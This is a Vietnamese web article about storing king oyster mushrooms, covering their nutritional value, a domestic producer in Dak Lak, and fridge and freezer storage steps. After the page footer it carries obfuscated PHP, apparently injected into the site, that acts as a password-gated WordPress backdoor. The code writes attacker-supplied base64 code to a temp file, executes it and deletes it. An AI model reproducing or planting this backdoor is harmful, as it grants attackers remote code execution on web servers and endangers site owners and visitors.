Bảo quản nấm Đùi gà sao cho không mất chất dinh dưỡng?

Nội dung chính

Nếu có thể sử dụng hết trong ngày, bạn có thể bảo quản nấm Đùi gà trong ngăn mát của tủ lạnh.

Nấm đùi gà (king oyster mushroom, còn gọi là nấm bào ngư Nhật hay nấm sò vua) vốn được mệnh danh là ‘nữ hoàng của các loại nấm’. Đây là loại nấm lớn nhất trong chi nấm bào ngư nhưng lại không giống như các loại nấm bào ngư khác với thịt cứng và dai; nấm Đùi gà có hương vị giòn dai đặc trưng và có hàm lượng các chất dinh dưỡng như protein, vitamin, các khoáng chất cao vượt trội.

Nấm Đùi gà được bán tại nhiều cửa hàng và siêu thị, sử dụng phổ biến trong các món ăn ở Trung Quốc, Nhật Bản và Hàn Quốc, là 3 quốc gia nuôi trồng nấm Đùi gà với quy mô lớn vì chúng “khó chiều”, chỉ sinh trưởng, phát triển tốt và đạt hàm lượng dinh dưỡng cao trong điều kiện từ 10-25 độ C.

Hiện nay tại Việt Nam, loại nấm này rất được ưa chuộng và cũng đã có một số đơn vị nuôi trồng thành công để phục vụ nhu cầu sử dụng trong nước. Một trong số đó là Công ty Cổ phần Thực phẩm Công nghệ cao Bắc Âu (Bac Au Mushroom) với nhà máy đặt tại vùng cao nguyên Đắc Lắc (TP.Buôn Ma Thuột).

bao quan nam dui ga sao cho khong mat chat dinh duong
Sản phẩm nấm Đùi gà sản xuất tại nhà máy Bac Au Mushroom
bao quan nam dui ga sao cho khong mat chat dinh duong

Nấm Đùi gà có chiều dài trung bình 10-15cm với thân màu trắng, đường kính 2-3cm to mập nhìn giống cái đùi gà, phần mũ nấm bè ngang màu nâu. Nấm Đùi gà có thời hạn sử dụng lâu nếu bảo quản trong tủ lạnh (khoảng 1 tuần) và không bị mất hình dạng khi nấu chín.

Thịt của nấm Đùi gà đôi khi được ví như thịt gà, bào ngư hoặc sò điệp, điều này khiến chúng trở thành một lựa chọn thú vị cho những người ăn chay và thường được gọi là ‘bít-tết nấm’ hoặc ‘sò điệp thuần chay’.

Dinh dưỡng của nấm Đùi gà cao đến mức nào?

Được xem là một loại nấm cao cấp, nấm Đùi gà có giá thành trung bình cao hơn vài lần so với các loại nấm thông thường khác bởi hương vị thơm ngon và chứa hàm lượng chất dinh dưỡng cao. Và còn một lý do nữa là chúng được trồng từ lõi ngô, mùn cưa, cám ngô và cám gạo trong điều kiện nhiệt độ đặc biệt.

Một số chất dinh dưỡng trong nấm Đùi gà:

  • Giàu chất riboflavin (vitamin B2), niacin (vitamin B3), axit pantothenic (vitamin B5), phốt-pho (khoáng chất thiết yếu), kali, đồng (nguyên tố vi lượng cần thiết) và chất xơ
  • Chứa nhiều protein, thiamin (vitamin B1), vitamin B6, folate (vitamin B9), sắt (yếu tố vi lượng cần thiết), magiê, kẽm và mangan
  • Rất ít chất béo bão hòa và cholesterol
  • Chứa ít calo, chỉ khoảng 35/100g

Bởi vì nấm Đùi gà được xem là nguồn protein phong phú nên là sự lựa chọn tuyệt vời cho chế độ ăn thuần chay hoặc ăn chay. Tuy vậy, nấm Đùi gà không phải là nguồn cung cấp protein hoàn chỉnh nên bạn cần bổ sung thêm nhiều nguồn protein khác nhau trong kế hoạch ăn uống của mình, nếu bạn ăn chay hoặc thuần chay. Điều này sẽ giúp bạn nhận được tất cả các axit amin thiết yếu.

Nấm Đùi gà cũng có thể được coi là một loại thực phẩm ít carb. Với khoảng 5/100g nên chúng thường xuyên có mặt trong các chế độ ăn kiêng ít carb như Palo và Keto.

Bảo quản nấm Đùi gà như thế nào cho đúng?

Không chỉ riêng nấm Đùi gà, hầu hết các loại nấm về cơ bản không nên rửa bằng nước (chỉ một số nấm cần được rửa sạch). Rửa bằng nước sẽ làm giảm hương vị và làm nấm hỏng nhanh hơn, không chỉ gây khó khăn hơn trong việc bảo quản mà cả khi nấu nướng, vì nấm sẽ tiết ra nhiều nước mà nó đã hút trong lúc rửa.

Do các loại nấm hầu hết đều được trồng tự nhiên trong nhà đảm bảo vệ sinh nên khi sơ chế bạn chỉ cần dùng khăn ẩm lau sạch đi là được.

Nấm Đùi gà rất nhạy cảm với độ ẩm nên nếu để nguyên trong bao bì sẽ không thở tốt và sẽ bị hỏng do ẩm. Nếu có thể sử dụng hết trong ngày, bạn có thể bảo quản nấm trong ngăn rau (ngăn mát) của tủ lạnh.

Nhưng nếu không sử dụng ngay, sử dụng không hết hoặc mua với số lượng lớn, bạn có thể cắt nhỏ ra và bảo quản trong ngăn đá (ngăn đông).

Cách bảo quản nấm Đùi gà trong ngăn mát tủ lạnh:

  • Bọc nấm đùi gà trong giấy bếp
  • Cho vào túi ni-lông bảo quản trong ngăn rau của tủ lạnh
  • Độ ẩm có thể gây hư hỏng nấm nên hãy lau sạch nước trước khi cất giữ

Cách bảo quản nấm Đùi gà trong ngăn đông tủ lạnh:

  • Cắt nấm đùi gà thành kích thước vừa ăn
  • Cho vào túi trữ đông, tạo độ dày đồng đều rồi gói kín
  • Có thể cắt nhỏ theo món ăn mình dùng như xào hay nấu canh rất tiện lợi và tiết kiệm theo phương pháp cắt nhỏ
  • Nấm đùi gà đông lạnh có thể nấu trực tiếp mà không cần rã đông. Khi rã đông, nước sẽ chảy ra nấm sẽ bị mềm nhũn và mất đi độ dai của nấm

Nguồn thông tin: Tteokbokki.vn

Thấy hay thì Share bạn nhé:

Facebook
Twitter
LinkedIn

Các bài viết khác

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}